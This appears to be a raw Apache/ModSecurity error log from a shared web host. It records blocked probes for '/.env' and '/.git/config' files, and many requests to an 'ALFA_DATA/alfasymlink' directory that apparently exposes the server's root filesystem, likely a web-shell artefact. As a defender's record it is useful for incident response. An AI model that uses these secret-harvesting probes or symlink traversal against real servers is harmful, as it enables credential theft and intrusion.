[Mon Oct 26 22:07:29.926122 2026] [security2:error] [pid 3128624:tid 3128624] [client 130.12.180.170:27066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHYS-AKBd00cmosRNI_QAAAAE"]
[Mon Oct 26 22:07:29.926398 2026] [security2:error] [pid 3128624:tid 3128624] [client 130.12.180.170:27066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHYS-AKBd00cmosRNI_QAAAAE"]
[Mon Oct 26 22:07:34.141273 2026] [ssl:error] [pid 3130075:tid 3130075] (5)Input/output error: [client 98.84.60.17:12581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:38.157130 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.71.216.196:37565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:40.636996 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.207:49508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/iomem_base
[Mon Oct 26 22:07:46.184346 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.224.132.215:1291] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:50.154655 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.209.100.30:15854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:53.229941 2026] [security2:error] [pid 3138664:tid 3138664] [client 130.12.180.165:24170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHeReVSgSHzoeHTZ6bYQAAAAg"]
[Mon Oct 26 22:07:53.230240 2026] [security2:error] [pid 3138664:tid 3138664] [client 130.12.180.165:24170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHeReVSgSHzoeHTZ6bYQAAAAg"]
[Mon Oct 26 22:07:53.230547 2026] [security2:error] [pid 3138664:tid 3138664] [client 130.12.180.165:24170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHeReVSgSHzoeHTZ6bYQAAAAg"]
[Mon Oct 26 22:07:54.255646 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.225.199.17:38396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:58.128164 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.212.86.97:38990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:08:10.384071 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.229.164.203:28148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:08:14.214227 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.197.178.107:49541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:08:28.279490 2026] [security2:error] [pid 3098113:tid 3098113] [client 130.12.180.170:30328] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHnLHarSgES5WqcDhKagAAAAU"]
[Mon Oct 26 22:08:28.279758 2026] [security2:error] [pid 3098113:tid 3098113] [client 130.12.180.170:30328] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHnLHarSgES5WqcDhKagAAAAU"]
[Mon Oct 26 22:08:28.280039 2026] [security2:error] [pid 3098113:tid 3098113] [client 130.12.180.170:30328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHnLHarSgES5WqcDhKagAAAAU"]
[Mon Oct 26 22:08:30.169040 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.28.49.152:19391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:08:42.131646 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 34.205.170.13:60727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:08:46.192367 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 54.235.191.179:14942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:08:50.125892 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 54.156.55.147:27141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty47/subsystem/tty7/subsystem/ttyS2/io_type
[Mon Oct 26 22:08:54.207470 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.71.46.142:60742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:09:05.837109 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:57088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAHt4U8RArHmY5bTmWwpgAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:09:05.837171 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:57088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAHt4U8RArHmY5bTmWwpgAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:09:08.835082 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 85.208.96.207:23958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/db/wait-remote_smtp
[Mon Oct 26 22:09:10.246310 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.163.169.168:50869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:09:22.216689 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 98.84.60.17:26257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:09:26.129878 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 100.28.57.133:31678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/event0/device/device/subsystem/drivers/ac/unbind
[Mon Oct 26 22:09:34.276923 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 98.82.214.73:51660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:09:46.339803 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.225.24.180:33021] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:09:50.306813 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.3.26.180:44021] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:18.241554 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.232.11.247:11345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:22.286549 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.45.15.233:19811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:26.191768 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 98.84.70.201:33502] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:29.366297 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.14:63724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/slabs
[Mon Oct 26 22:10:31.329214 2026] [security2:error] [pid 3100940:tid 3100940] [client 85.208.96.194:60054] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/curses/__pycache__/textpad.cpython-36.pyc"] [unique_id "auAIFz77nSD73jfhp0aFuAAAAAc"]
[Mon Oct 26 22:10:31.329254 2026] [security2:error] [pid 3100940:tid 3100940] [client 85.208.96.194:60054] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/curses/__pycache__/textpad.cpython-36.pyc"] [unique_id "auAIFz77nSD73jfhp0aFuAAAAAc"]
[Mon Oct 26 22:10:42.193417 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.194.226.74:56623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:50.122919 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 44.221.180.179:36666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:54.266133 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.235.172.96:34197] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:10:58.119107 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 3.221.244.28:4982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/tty/tty27/subsystem/ttyS2/close_delay
[Mon Oct 26 22:11:02.242379 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 44.194.134.53:14381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:11:04.266070 2026] [core:crit] [pid 3117428:tid 3117428] (13)Permission denied: [client 66.132.195.85:11628] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:11:05.573174 2026] [core:crit] [pid 3132187:tid 3132187] (13)Permission denied: [client 66.132.195.85:6762] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:11:07.439033 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:57088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAIL4U8RArHmY5bTmWwrgAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:11:07.439083 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:57088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAIL4U8RArHmY5bTmWwrgAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:11:14.131290 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.207.79.144:30287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:11:42.703525 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 185.191.171.14:49702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/remote_node_defrag_ratio
[Mon Oct 26 22:11:46.122681 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.230.69.161:49240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:11:54.144025 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 98.83.178.66:57730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:11:58.122846 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.0.218.219:7310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:12:22.243931 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.229.95.193:1675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:12:34.450774 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 100.24.149.244:40949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:12:38.211764 2026] [ssl:error] [pid 3128624:tid 3128624] (5)Input/output error: [client 54.210.152.179:44379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:12:54.161223 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 98.82.214.73:29289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:05.0/subsystem/devices/0000:00:03.0/subsystem/drivers/vmd/bind
[Mon Oct 26 22:13:02.163582 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.54.157.23:28736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:07.509054 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.91.122.193:23813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:12.299190 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.3:31250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/intel_rapl_common/sections/__mcount_loc
[Mon Oct 26 22:13:22.122394 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 54.85.7.119:53627] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/console/subsystem/ttyS1/iomem_reg_shift
[Mon Oct 26 22:13:26.193114 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.225.45.252:58141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:30.185255 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.4.229.9:14122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:38.134940 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.159.18.27:7235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:46.118876 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 52.200.93.170:62182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:50.171991 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 107.20.224.184:18020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:54.164205 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 54.225.81.20:53752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:13:58.314523 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 52.205.113.104:7695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource0
[Mon Oct 26 22:13:59.083413 2026] [authz_core:error] [pid 3128624:tid 3128624] [client 194.180.49.16:43966] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:13:59.386708 2026] [authz_core:error] [pid 3132187:tid 3132187] [client 194.180.49.16:50338] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:14:02.188527 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 34.233.114.237:27463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:14:10.148383 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.200.93.170:56877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:14:38.167777 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.94.40.182:57253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:14:54.179513 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 34.239.85.139:39806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:14:58.174502 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.23.104.107:27909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:15:06.359644 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 44.218.6.93:2301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:15:34.192134 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 35.153.86.200:54647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:15:42.130193 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.227.156.153:64976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:15:49.027595 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 85.208.96.203:42942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/red_zone
[Mon Oct 26 22:16:14.299601 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 52.21.62.139:1145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:16:18.320922 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.4.238.8:2806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:16:25.105124 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 85.208.96.196:31922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/dm_mod/sections/__verbose
[Mon Oct 26 22:16:34.118296 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.24.149.244:62228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:16:34.407878 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:57088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAJdoU8RArHmY5bTmWwxwAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:16:34.407952 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:57088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAJdoU8RArHmY5bTmWwxwAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:16:46.122777 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 52.200.58.199:48553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:16:50.124185 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 98.84.200.43:57299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:16:54.159655 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.236.185.101:18004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:06.159022 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 54.145.82.217:56652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:10.226446 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.225.181.161:1473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:18.142422 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.211.181.86:24338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:30.203814 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.231.77.232:61599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:42.312544 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.200.251.20:6290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:46.133567 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.204.71.8:64268] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:17:58.155580 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.215.59.93:49959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:04.559406 2026] [security2:error] [pid 3117428:tid 3117428] [client 85.208.96.210:11802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ostic/php71/import.php"] [unique_id "auAJ3CWN_iofYZIHyv49WAAAAAs"]
[Mon Oct 26 22:18:04.559448 2026] [security2:error] [pid 3117428:tid 3117428] [client 85.208.96.210:11802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ostic/php71/import.php"] [unique_id "auAJ3CWN_iofYZIHyv49WAAAAAs"]
[Mon Oct 26 22:18:14.190354 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 100.28.57.133:63277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:18.371145 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.144.185.255:24376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:22.305830 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.83.56.1:61178] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:26.195480 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.210.58.238:40439] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:30.239283 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 50.16.248.61:12397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:38.260562 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.212.205.90:25424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:43.172530 2026] [authz_core:error] [pid 3130075:tid 3130075] [client 23.132.164.151:58258] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:18:43.916182 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.212:44218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/min_partial
[Mon Oct 26 22:18:54.179779 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 107.20.25.33:52569] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:18:58.134958 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 50.19.102.70:6593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:13.105492 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.196:61300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/destroy_by_rcu
[Mon Oct 26 22:19:14.262024 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 52.0.41.164:11808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:18.277097 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 100.28.204.82:57083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:20.865561 2026] [security2:error] [pid 3128624:tid 3128624] [client 107.23.70.212:57696] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAKKC-AKBd00cmosRNJIAAAAAE"]
[Mon Oct 26 22:19:20.865619 2026] [security2:error] [pid 3128624:tid 3128624] [client 107.23.70.212:57696] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAKKC-AKBd00cmosRNJIAAAAAE"]
[Mon Oct 26 22:19:22.131140 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 184.72.84.154:29393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:26.142345 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 98.84.60.17:20422] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:30.136510 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.219.80.71:30886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:34.119269 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 44.212.145.46:53160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:49.222727 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAKRc8F3ZZVbqNCqKaAUAAAAAo"]
